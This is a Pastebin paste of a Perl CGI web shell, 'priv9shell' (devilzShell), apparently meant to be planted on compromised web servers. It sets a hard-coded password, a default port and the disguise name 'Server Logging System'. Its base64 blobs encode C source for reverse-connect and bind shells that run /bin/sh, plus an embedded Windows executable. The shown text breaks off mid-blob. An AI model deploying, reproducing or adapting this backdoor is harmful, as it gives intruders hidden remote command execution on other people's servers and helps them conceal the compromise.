Advertisement
lehieuit

priv9shell.pl

Apr 6th, 2012
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 66.81 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. ##
  3. ## devilzShell <[cgi]>
  4.      
  5. ## ^^^^^^^^^^^^
  6. ## author: b374k
  7.      
  8. ## greets: devilzc0der(s) and all of you who love peace and freedom
  9.      
  10. ##
  11.      
  12. ##
  13.      
  14. ## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  15.      
  16. ## Jayalah Indonesiaku
  17.      
  18.      
  19.      
  20.      
  21. $shell_name = "priv9shell";
  22.      
  23. $shell_fake_name = "Server Logging System";
  24.      
  25. $shell_title = " :: ".$shell_name." ::";
  26.      
  27. $shell_version = "v1";
  28.      
  29. $shell_password = "desperado";
  30.      
  31. $shell_fav_port = "12345";
  32.      
  33. $shell_color = "#374374";
  34.      
  35. $shell_code = "JHhTb2Z0d2FyZSA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCiR4U3lzdGVtID0gJnRyaW0oJF5PKTsNCiR4U2VydmVySVAgPSAmdHJpbSgkRU5WeyJTRVJWRVJfQUREUiJ9KTsNCiR4Q2xpZW50SVAgPSAmdHJpbSgkRU5WeydSRU1PVEVfQUREUid9KTsNCg0KJHhIZWFkZXIgPSAkeFNvZnR3YXJlLiI8YnIgLz4iLiR4U3lzdGVtLiI8YnIgLz5TZXJ2ZXIgSVA6IDxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiIuJHhTZXJ2ZXJJUC4iPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+Jm5ic3A7Jm5ic3A7Jm5ic3A7WW91ciBJUDogPHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4keENsaWVudElQLiI8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj4iOw0KDQokaWNvbiA9ICJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUIva2xFUVZSNDJvMlJTMmdVUVJDR3E3ckhCMHJ3DQo0bWl3RldWbVBTbUlIcGFRU3dRRDRpdkdLSHNJbUlPeUJoSkVUVURqUmFNSUVqVGs0Z05GSXV0QndTY1k4ZUJoOWFCZ3lDR0NpS3U0DQpFNGt6QmswdWltaUkyMVhXd2diTW9yT3BwdW11S3VxcjZyOFJabW5qeGw4aVIwSDJEemZLVDAzSHNWTGhWK092ZTRyYzh4azR1WXR4DQpkQ0hnR1FIYy9TZEF1cXdaQjlqQ0FFN1Jud0xHUjhoSGJpSzUvYVF6Q2NDMEZQLyt1MllHNEtQeDIrcDE0U0tWVGJGSWlQZEk3L2VpDQpvTDk4d2htQXQ4YnYzTzdZODlzSXYyOWt6T3BTdkVOUjQxbFNEMUpoMEJRTGVHZjhqcTNhOW5heWV0WDJLVmhmZXRhOEdtMG51d2dIDQowK0ZJVFN4Z3pQZ3RtM1FoczVxUitrZ2Zxd0lZR2dWdVRtazYwRVBxL3A0dzJCMExrRzUrbDdJNVVkM0JVc29CQmxjMHVFVk9ha1dVDQp2eE1MS05xQThWNGMwclpXeVowbHpiSTJNOXJUcE5mS0QrUmlBVitNWDllaUNzOSt5VjJlY0xrYWNQZ2FVdmNOeGN1dVdIVzlQZ3IyDQp4UUplR3U5VXM3WW5qcE1hRnNFMkZHT2g4ZE4xMmw0OVNqalVHbzRrWXdFNTR4M2VxVzNmWGxKanJhd1NNdkxQTjhicmJ0QjA4aHlwDQpnYVl3YUlnRlRKakUwbDVsM3dmQVZSZElONHFRVDhUL2RodDVidGJxOXBWUi9sSkZFVVdIV2hGOWZuV1V6eGI5eDh1OWh3Y1Y3WmpPDQpEMXJIWFJ4OW1QZ3ZvTnhrcWptVHdLblh5TWxWZ0F0Y3h1Y0N5TXdhVU1uK0FNdkx6QkhOaXZxM0FBQUFBRWxGVGtTdVFtQ0MiOw0KJGJnID0gImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBTUFBQUFEQ0FZQUFBQldLTFcvQUFBQUprbEVRVlI0Mm1Oa0FBSXBLYW4vYjk2OFlXQUUNCk1aNDlld2FtR2RuWTJQNkxpSWd3Z0FRQTh4WU5ZaGVvdE5jQUFBQUFTVVZPUks1Q1lJST0iOw0KJHhCYWNrID0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bA0KZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaaw0KT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3SUEwS0lHUmhaVzF2YmlneExEQXBPdzBLSUhOcGJpNXphVzVmWm1GdA0KYVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ6YVc0dWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHBLVHNOQ2lCeg0KYVc0dWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FXNWxkRjloWkdSeUtHRnlaM1piTWwwcE95QU5DaUJpZW1WeWJ5aGhjbWQyV3pKZA0KTEhOMGNteGxiaWhoY21kMld6SmRLU3N4SzNOMGNteGxiaWhoY21kMld6RmRLU2s3SUEwS0lHWmtJRDBnYzI5amEyVjBLRUZHWDBsTw0KUlZRc0lGTlBRMHRmVTFSU1JVRk5MQ0JKVUZCU1QxUlBYMVJEVUNrZ095QU5DaUJwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMQ0KWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNCdw0KWlhKeWIzSW9JbHN0WFNCamIyNXVaV04wS0NraUtUc05DaUFnSUdWNGFYUW9NQ2s3RFFvZ2ZRMEtJR1IxY0RJb1ptUXNJREFwT3cwSw0KSUdSMWNESW9abVFzSURFcE93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2lMQ2hqYUdGeQ0KSUNvcE1DazdJQTBLSUdOc2IzTmxLR1prS1RzZ0RRcDkiOw0KJHhCaW5kID0gIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUNCmNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4NCkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkNCklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnkNClpXMXZkR1U3RFFvZ2FXWW9abTl5YXlncElEMDlJREFwSUhzZ0RRb2djbVZ0YjNSbExuTnBibDltWVcxcGJIa2dQU0JCUmw5SlRrVlUNCk93MEtJSEpsYlc5MFpTNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lISmxiVzkwWlM1emFXNWYNCllXUmtjaTV6WDJGa1pISWdQU0JvZEc5dWJDaEpUa0ZFUkZKZlFVNVpLVHNnRFFvZ2MyOWphMlprSUQwZ2MyOWphMlYwS0VGR1gwbE8NClJWUXNVMDlEUzE5VFZGSkZRVTBzTUNrN0RRb2dhV1lvSVhOdlkydG1aQ2tnY0dWeWNtOXlLQ0p6YjJOclpYUWdaWEp5YjNJaUtUc04NCkNpQmlhVzVrS0hOdlkydG1aQ3dnS0hOMGNuVmpkQ0J6YjJOcllXUmtjaUFxS1NaeVpXMXZkR1VzSURCNE1UQXBPdzBLSUd4cGMzUmwNCmJpaHpiMk5yWm1Rc0lEVXBPdzBLSUhkb2FXeGxLREVwRFFvZ0lIc05DaUFnSUc1bGQyWmtQV0ZqWTJWd2RDaHpiMk5yWm1Rc01Dd3cNCktUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01DazdEUW9nSUNCa2RYQXlLRzVsZDJaa0xERXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3kNCktUc2dJQ0FOQ2lBZ0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2lMQ2hqYUdGeUlDb3BNQ2s3SUEwS0lDQWdZMnh2YzJVb2JtVjMNClptUXBPdzBLSUNCOURRb2dmUTBLZlEwS2FXNTBJR05vY0dGemN5aGphR0Z5SUNwaVlYTmxMQ0JqYUdGeUlDcGxiblJsY21Wa0tTQjcNCkRRcHBiblFnYVRzTkNtWnZjaWhwUFRBN2FUeHpkSEpzWlc0b1pXNTBaWEpsWkNrN2FTc3JLU0FOQ25zTkNtbG1LR1Z1ZEdWeVpXUmINCmFWMGdQVDBnSjF4dUp5a05DbVZ1ZEdWeVpXUmJhVjBnUFNBblhEQW5PeUFOQ21sbUtHVnVkR1Z5WldSYmFWMGdQVDBnSjF4eUp5a04NCkNtVnVkR1Z5WldSYmFWMGdQU0FuWERBbk93MEtmUTBLYVdZZ0tDRnpkSEpqYlhBb1ltRnpaU3hsYm5SbGNtVmtLU2tOQ25KbGRIVnkNCmJpQXdPdzBLZlE9PSI7DQokd0JpbmQ9IlRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUF5QUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXYNClpHVXVEUTBLSkFBQUFBQUFBQUEwR0FrNWNIbG5hbkI1WjJwd2VXZHFtR1pzYW5GNVoycnpaV2xxZW5sbmFuQjVabXBOZVdkcUVtWjANCmFuZDVaMnFZWm0xcWFubG5hbEpwWTJod2VXZHFBQUFBQUFBQUFBQlFSUUFBVEFFREFJa0xsRDhBQUFBQUFBQUFBT0FBRHdFTEFRWUENCkFEQUFBQUFRQUFBQVFBQUFZSElBQUFCUUFBQUFnQUFBQUFCQUFBQVFBQUFBQWdBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFDUUFBQUENCkVBQUFBQUFBQUFJQUFBQUFBQkFBQUJBQUFBQUFFQUFBRUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFDQUFBQUlBUUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRlZRV0RBQUFBQUENCkFFQUFBQUFRQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBT0JWVUZneEFBQUFBQUF3QUFBQVVBQUFBQ1FBQUFBRUFBQUENCkFBQUFBQUFBQUFBQUFBQkFBQURnVlZCWU1nQUFBQUFBRUFBQUFJQUFBQUFDQUFBQUtBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQXdBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU15NHdOQUJWVUZnaERRa0NDYk9lWVUwMVZiNUg2MVFBQUZVaUFBQUFZQUFBSmdNQURDZmsNCi8vK0RmQ1FFQlhVSWFnRC9GVEJBUUFEQ0JBQ1F1Q3gwMy83L0VnQUE2QU1BQlN4VFZWWlhhQUFRSTJnd1VFQXVITjF2Mzk2TDBMa0gNCkhnQXp3STFHUFBPcnVBUU12L2FYM2JzUUJJbEVKRUFEUkkwOE05dFFVb2tmOW5hei9VU0pYQ1JRTmd5aGVGWUV2dmRsSi82disvK0QNCitBR0pkQ1FVZmh5TERZUVRVV2tYZzhRRVpqdkRiSGYvN2o0VWRRUWRqWlFrckZOU2FnSSs5SGIvdXQrRndBK0ZRd0k4UFVjRGZYNVQNCkFHb0IrNzc3K3g3b2xQQTc4ellZRDRRZUFwdFRTYTNwdXE0Z2dCUUhKQU1vTENwN3ZtMmI4R2JIQ2h3a2kwd2tGRkZBN1UzM1oreFUNCkpCQm12UjRjVWxCV2RaRHVjcERjelFGcUNoRGtYamZzWnJ5TExVVFRUaEQrVy83dDF0YVZJSXR1R0kxTUpCQ05WRkZHL3ZZZ1c1emcNCmROUHA1Z0lRYUJBbkFCYk9aaHBIUVAySVZOQWJidDFITzlOMHNKTVF1NHZ4V1N6QnUvLy93dWtDWEl2T2crRUQ4Nm9QdjBvS2kxSU0NCmk4RVlNSXZLOTU2L01ocWxpOGlreHRFc2hHOEl3Y2tZelVZZDZWNjdzQmxPL3dEbTRTeGI1d1laMkRVWXRGaEExZDEzbHcxMlBBSm8NCkJPTlN4NFFrak5nQnpuNTRjd3RNbkNTUTQ3UWttQWFjSHR0OFQ2QUF6enlOdkRxRHlmL0c3bmZjd21oUUx2S3U5OUZKaVovR2hBQ2ENCnB1bTZHVndIUldWQlkybWFybWxHZUI5Q2JVZlRtZThHUXdka2lKd01TQTVFOTRzOVd5NW1PSVI2cjFCUjZiWk4xMW9RNndXMlhGTlMNCjFEU0Q2UXBIZFE0QTRkUjNIUCtRYmdGRkM4eGZYbDFiZ2NUajRZNUhOdmtJZyt3UTZEUHRWOG9LbDd2SDZBY1VJQkNKYk0wVS9tYnINCkF4dzhUR2cvQUE4QVZWVk1SbXIvTEZRRStEdjlkSGwvR2xkZWVQZlpFd2dkQUFVN3hYUUYrdFByV2Z2ZHROa1VTRDBrSW5WTVZRQlcNClZaY09jN2RkTXY4QlNXZzROendRczIybGYraUY3WFFqbFFGVlRSUUxidHZPTlF6V0lOYTBWbHR4YzQxTEpSRENhNmxkaVMzdDltYkoNCmZIZ0JPVDFzVWdwK0VTRHZmbmY2YWdpS0JsQlBLUWpyRUlzVllGNHp5WW9Pai9IZi9Zb0VTb1BnQ0pnRFJ1dlFnRDRBZEdhN2lUU0YNCjFuNTd1NEFHUUtNTU9rWThJblVZQmdXeTdYLy9kQXRHaE1CMFFncDE5VWJHQmdBMW1tVWVPOGxteVE1UkQ2Rmswb29XK3EwZFdWQjENCnpoOC95WFFDNjh0WE9HbG9CeENVR0FjQU5qck0zRklBK01mT3pJRHlIMnY2Wll1cmc4Y0JmZzhQdGdkcUNObGU2WDFaV2VzT0xHVEYNClFRci85cktGd0VmcjBoVTNSNFArTFl2dWJHR3QxOW9HS3pVUGRrTXNady83REdvRVZrQUxvVHh3QlAzMjc5OE5qUVNialZ4RzBERHINCno0UDlRc04xQXZmWXliN2IrcExELzBNRU5nU01XY1BNQUIwZm84QlJQUUp4Q0hJVWdVSVZ2LzJ4M3o0dEVJVUJGM1BzSzhpTHhBeUwNCjRZc0lpK0gvallWQUFzTWg3RkdMUlFpTlNBR0IrUUNmc0hSN3RuY012USszdnV0U3QxYi8vKzJ2MXc3QitRaUIwZlpFVmdHQVhuUU8NCmdHWCtBSWhOL0kzTGR1T0lSZjBnNndrTi9VWDgyclh0ai9aWWpVMEtCUk5SVUkwUVVBdmZicmpRblFkbXhCeE9Bc25EVTBVS0kwV3kNClk0SGZETWwwYXYrcVFWS1VJdUhHZS9ka29RQUFVR1NKSlFmZ1dGTmk4U05jZUlsbDZJbDBRS3ZVaVJYNFZOdDNuOTVoeUlIaC84Z04NCjlBM0I0UWdEeWdydzNBKzdQK2dRbyt3SE0vWkZFVnBaYnJzM3VnMHdIQXNHMW9sMS9BZ1ByK3k3OWtrV294aGFCQThPZmFQUVZBbHMNCjIyWjNEREFFQzNjSW1TdlF0NlQzL3pNTkNFUVdINGxGblBaRjBBRjBCcnMwdlMxdzFPc0RXbGdkZFp4V29YQUx2MlhYVUNNRERLQUkNCkNNWkg3R1ZENlExVkNZbE5tT3pPQ1pzMkY3N2R3NHZIZFpnZTErM1lWSFVGV08wZzdBMFRhTHdUb1FtVmJBaHo1WGhTTHlSWkpYaEwNCk9CRUM3QUR1N2pZYnhBaUxDOGdGREhVSkR3VDM0ZHY0M1RxclV3V0wyQjMzWkswRENaemdMakNFMDFzYWZ4aDhlSEtFR0tIY1U5czcNCk5kZ3NiSEEremVSZVZoRjdmNlRPTS95QUluUUVpOGJySFJzWStXU0Rad3hUaUh5RXpnQXR2TUc3QWxpalEyd0NkU1FjSEdWYk1OMUoNCkJhRkV2QkVVQWhEWU1TdVZERGt6cVFpSHQxOExtR3pnbENSZEdCbWhWR09iYlUvMFJZMVRMRUVnK0luVzBIUWJ3RlJBaEJnM3diL3gNCmIxOGY0RlowWTRsZC9JMDhJY2VEd0FNa2RtRVhpL3dOd0l2MDBOeFh6RGhLeTQ2RkZQd01XNlBCeGtZN2tkUXFnNy8veWRyczF1a3ANClNlQldYeHhWUEhPdGMxSVJGTmVnN2VzQ25ZVUxYVU5sYlUzd0pnMkpDRzhzZ1Z2SW9SUmFDTmdIODBCaDBCb2hDUHF1SVYrRGdaUU8NCkFENW5kZzJud3hqUURJNEk2QkM1dFUzSUFWY1BYN2tvVmJNOU9uZDFFUmg2TEdVR2hIQnhvU0VJRE5TTFhBbWQvZDBWcENLSUhTQW8NClBLRVFneUkvKzk4dHVBd0pWbzF4L0R2d2NoT0xCcGVEN2dRN2hueUZ2elVpYysxZThwUVV3NWQ4TjI1b0lCQWNoZHRiQzYxbnhEcDYNCmlZWndYOE1GdFNmYmRSSTdxbk1OVjhZRTYxSEN0bXM0eXA0SVBncmNHRm40TjF2N3hTQndXQWhJQ2hXRCt3WGxEZDBMV1lOZ0NPcFkNCjR3clpnL3VOa3R2TWhQYXVMR0VzdmJiclk2Vk5RZ3VMU0FTRFo0WElIZi9OclRUNEVBVVYvQVBSVmp2S2ZSV05OUEMzM2UxSks5RUUNCnRZZ1NneVlDeGd4S2RmZUwzYllPZG5nRVU3ZU9NOEJweHdXZkFYdjNESU5BNjNBOWtCS0JYVDBCK1JtUWtZUktQWlA1R1pDZmhUYzkNCmpZSWtQWTlPbnA4QmhoRTlrZ3FLYXkyTW5aMklhclhUZEFwcndIMGZXVjdyQ1BwUkVXT2o0MWx3RlBpRHlQOHhiRmtvMXlpNXVGdGQNCncrUkdVUzd1ZmJ0R09XalpWcmdGZE8zcjdSdjhuNERBRER2R2N3UTVFTjJOREVsZUEreHlmTCtORlR2QkVuU1dNd2hhZUJrNHNnQVoNCldySGtSRFB4a1E0bGlrWUJKMDAyR3k3UUlCSEF3RkNuRlZSMDV2aTJsU1ZhNHlFTkJ3bzhJSGE2cnIyVlRRd2dkL28wS0FRUDZmVXUNCkxaVFoyMU1uT1IxYTI5Y1dyQTViV3RBVC95YzZBbi82U3lFU1BEMTBBVWRkR3h4WmpTTDhUbTN3QWV2b3JMMWhaaHFjQTI1SFczdFoNCjV6VUk5WTdzZnd0UENjWUhQVUU0SDNRNVZWYzVpdDIrUlVoWlJZQS9TU0pWTkxaWXRsQjVQQVl1T3pheGIzZjhlS3haYmxrRC9UZDENCnlWMy9oRVBwdDMwV2Rpc2RDNGtlalljMkJsODRxV0ZiMUZHOXJ4aTVWNzR3aWkycFA3YkRxWkFUS2FJWWZQNDRnNjFDaFJoTko4NzQNCnZOb0dyeFYxbjZ5TER5ME4yemFnL05pSTFLZ1l0V0dUcnRhaENDOG4yeldzMVNTR01UVndGRWhhenVWdVpnQ2NvL3lsTDVoU3U3VnQNClRCZ2NGSlNESVhKcWpsaGppMHA5VkxVZ3JkVkxwWVY0ZHplRHgxTVU4Z3Yvd29BNG0wU0tVQUZBZ1BxK0tZVFNkQ1VYM3JqOTB2YUMNCjRWZEhCSFE5QVlYMmNJb1FIVHN5OW9nV1JrQUwxZXZPREFTQXlOanRMUjFHUUJ6clF4NEZmMHZldGdSQVJOcjJneGtZaUI1ZTNwcTcNClJtVWdkQWtKQ0FsMXpIVURTTFkzampXN1NtYi9nR1VZQUU0QSs3NW1scmJnUkNzRkp3TmVlR0JtYlBFWHlMeUxWYmJDYXhmZkFzZlENCjE0VWlYTkg0OXkzd1FFUHI5NUlzOXNNQmx0emFYN2hCT1gxdERZQjRBU0tONHgyTHdpaGgyRXBiTndnTTd1LzJ0OThZR0ErVXdva0YNCjBldUwwMHVGa3c1RGlOcGJvVUxYQmJGTGRmT0EzMFpyNUtjZ1AxVUtpaitzdTlRMmREb1BaM1F1S0JuaXdna1RCZ1lmR3c5QXNHdHoNCkF3TVZBVUNRRGJXcjNkZUdNQThPZzhjRGcvZVVtZ0ZEbytIN29PT0ZEbTVKb1RTSVU3c3RwRUJOTmdmdHdUM0F6QVRWK2ozWEFTMFcNCkllM3JLR1lXVHBadlZQc1g2aHN6c2dOekF1SVBXb0hkYkxNT1F3dy9KOEptT1I1dDBGb3JjK3M3Q1B2NU5uWkxud2J5SzhZdlVFN1INCitJNUEwaDJ3MFFKZFV5czAvOWMxS1ZkTCtqdnJkREl5QzQxcXJvRmJIRlZRdXlRbElXMkQxTDFXREJBblhBbUw5c1RQMWdOV25wakQNCjYxT1ZUS1VTcFpPNWhiRjBQR0JEMHZadiszUUtRRGg3K3dUMks4ZEFhbFhPVW9sV1dLcjdScnAwNVdDazlaeXpEcFJmUERyeHhpQ1YNCncrd3c3SENDUklzUk9tSFRwS2xsTWhzVldVQVk0RFhBc2dCYUlCNkdLZnV0Yk55MGN4cHRCTGJHUmdVS29TTkM3dS9TOVFnRkcrdmkNCmplR1lUaDFOREdZSlFuWEZOZW4zUlFuQ2Jya0xNSTNjdS8xWFlyaEtTbzBjTG53Q2RqazFZejZ3elAxOVVyOEVUSThBT0lQUy9OalANCmY0a0hqWWgrd1hNWWdHQUlHSHVCeTBDTEQzWUlnY0Y4NUJWaWYrYlZTWHk3NndhTENmdnhMMnk4MFg1R2l5cjRaRGFLVFFEMndRRXcNCm9lNnRmZ1FJZFF1bHNCNmxDbzIvME1lTHo4SDRCWTFWeTNRdjFIclBJYVVMaVFndmlEVmU0aHZyUjBXRHc1ditmTHBRS1BFQ24rdzgNCjJQL3kySFZOT3hhM2IxMEFCSUcwYXZaWTY0akRTUFc3SGFFN3dQVllyS2lELzNNWFYyYjlNRkluRENVVlB0QUdnRTRyODlZb2F1b0sNCkEzVUs4TVcreEc0RUJZQkRkQU44bS8rNEFqd3JzemFvMGtURGhYclZVWU4zR1dnY2VHUnJVSFlnVmJTajZGamNPalk4aFM0ZTBVb1ANClBPaFk2SkFEODZCeVNMOVlPTkY3L09kVjJHaTAyUFJZdUNFZUNDNVNYVHFMNWFmdWpqcmJUSXRCQkFhZXVCM3J2b3pSZEErdFZJa0MNCnVBTVF3ejdOanY2aGk5bHEvbWk4SVluL05RREZMcm9nR1NCS2kzQytzT08yUVA3eExqdmFkQ2doZG9zTXM0WGJWZ21wYlVnWGZMT3gNCi9mYnYrM1VTYUFFQkxiTjlFbTcvVkFqcncyU1BCUWp0bk9ORG9vem5aSXUydCtEUzk0RjVCR2gxRFZFTXBUbFJtTGg3QzdFRm00cFINCnV4U0Yyd29FSzNFSXFHRkxBcmRHZkd0RDBHc01XVnQzNzFaRDZHL0QvVEl3V0VNd01QZmpDUHI4aTExWWlpM2xsMWhBNU5tQzVxQjENCmNJa3hSZUVQQ0ludnNyVStJWE43Q01GaHVsdjdsMjEyc1k5MFJWWlZqV3NRcUF0ZEk3b1h1bDVCQzhRemVEd2xVMTREeHJweUVaZ2QNClZnemF0V095RlZ3MmI5NlBTbnpudW0yUFZRdzdDREFhaXpTUDY2SHFIZnRxOW53Y3llc1ZYRU9JVFZiZ1AxMFdsTFZDYjJpOE80c3ANCmkwSDJBMTUxeVJvUUpPR2hlNjBhQ3JpaG1mSXFpbldzM005OFVpRm8vRDZHb1RoV2oyRFV5MW53ZFp6d0gvNWcxNEhzcElSVkNEUEoNCnVDalkzYlRWUGp1UUMwSkJQYmdNZlBHNWhmZTNsZkhCNWdNN2xob21IQ3BKWjVhR2JMem9jQTNYOWg2NkVOZW8rblVMOFNCc1JHTGgNCmhWdysvN2twQU9YQnVrbTZNQk1YL0VOQUxYRjJGaVpaRWxlU3ZXZHZ4K0lIWVVCWlpUeDJLUmxRTDNCMkZuVDREWU5HYWdNRE43T3ANCjd2aG8rRUZYcUNlc1ZXRC94czZTTk53UVZ3eTh6UDJRd1IzWXZQKzJMTk1XekZTcjJSRUtCQ2ZCTDk4WnNGa2FMRi9ySm8yRW1ob3INCmF6QnExelk3VGRPazNRaHE5TngveEY1T1RVT0F5ZVF0REVkTHBvMG1DRWZGaWo4eCthcEVLZjZEK2dSeUxmZlpWSFJ2dnY5ZkU0Z0gNClIwbDErb3ZJd2VBSUE4RUdFTXFENGdQWFhhSVVld1B6cXpvR0l3NG81VXhLUHMwaXhEbkpWbzBFRldWUDNJQ3VIaGFLUTRTSUpIVmINCjBJU0JIR1pURGdsRmhnT3VxMm9oSXp2a2VDUXpVcVFCL3dVWTlwb0JmdkFYTHlFMXVMUVFmWENpRmJnaS9ONVdMSmQzL0FuU3VNZ1YNCk9UQjBjakJDVkZHYVl1RU42TnVjOTlZVkl4Z2t2a0JqV2IvZ2d0QVdld25UNkFHSlVNT3FjWE9qdGVua2dBK0c3NEI5N3JHMStOTVoNCnUwM3ZpaEVQREs2eDkwMzhMTFpCLytRN3dnK0hreVhIVzIxWkF3N3VVa2cvVXV4K293RXNpd1Nxalo3WWtZQTd2MDNvYjdUTGRDeUsNClVRRmtoYmI2TzhkM3QyLzNqUlRKL0lxU3dDQUlrRVpBRTNiMWJCdTY4RUZCZ0RrWTFQL2N3d2lkL0VHV01DMkV3Zno5ekcwV0h0NVENCm82d0xlZVRNdjhCMDdQN2VENldsV2FPN3BldFZRSG4vLzBnOWZXWndHa0toQ0VBOVNuS3diQllySXprc1ZEYldYbXR4K2d2Q1Rhc0ENCnZvTGI2T3NOMkZ3S216Q3M0S3BRK3dUVkhVRmJhbmdmSHBYZmd5VWhWZjRqUE1qVzZrdGMveVY0YXYwb01ISmhGR3o4NVJheFpTZHkNCkdVbjFVS21VZ2FtZUtpaTB3YlkyRndRTmJrZ2dkalpUT3dHNEJPa0ZFZ3NnTHp6UENCRlhiRmt6d040YklkaXF0QmVqeGR3YkJzNzYNCncxOHpGS1FFN0FhTUNJMVc5K2NLRmd1bWZ6ODB3TDZIaUlRRjdLeUN4cVc2K3Y1eTlJcEY4c2FGRFNDcE42TXY0ZXJHalZWZ3RncmENCnYzY2RLeGkwZSt6SWpid3FRYmdnQUl2Wmx6Yjk5cy9MUWtLS1F2ODBkZEJmVzJxZDdQcFlhL1lhZ3pXTmVqRlduYkZneEZhMUkvMnkNCm0wMzJIVlllVmpRaktLcXdRMWN5L0dqdkozOWJzQlJlWEQyTmNtYUxFYitmc01EMndtQVcraENLbEFWa2lKQk8zZ3FZNEw4YUFuUVENCklNWmJBSGRicHFBY2dXSENEWTA4QUwvclNSVWxmMWhqdTBGeUdRUmFxa3ZJZ01FZ2lKT1h0N0dJU1I4ZFlYSVRlbmNPcm03WW15RHANCklPdmdURXErWmVIWGd3RTZFbXI5Q0paWi9GK2RZSElJV3ZRREpOQ29nUitYSHcvMlZob1dMVmcrWng4NlhyMFRRTU42SGJ5eHNOZEkNCmZNc2NKMnFOcENUQy83dXM0Wkg0Vi9mQkEvNktBVUcyT3c0Uy9mLy9kZkdMQWJyLy92NStBOUNEOFA4endvUEJCS20vaHQ5dDhJRjANCjZKZjhKaU9FNUhRYXFVaDBnUjRkNkttbm84Mk55OHRib3ovK0JQN3JDUDNyQS96YUdzd1I5bDhaQzBFTS9XQnZ4V1NJRj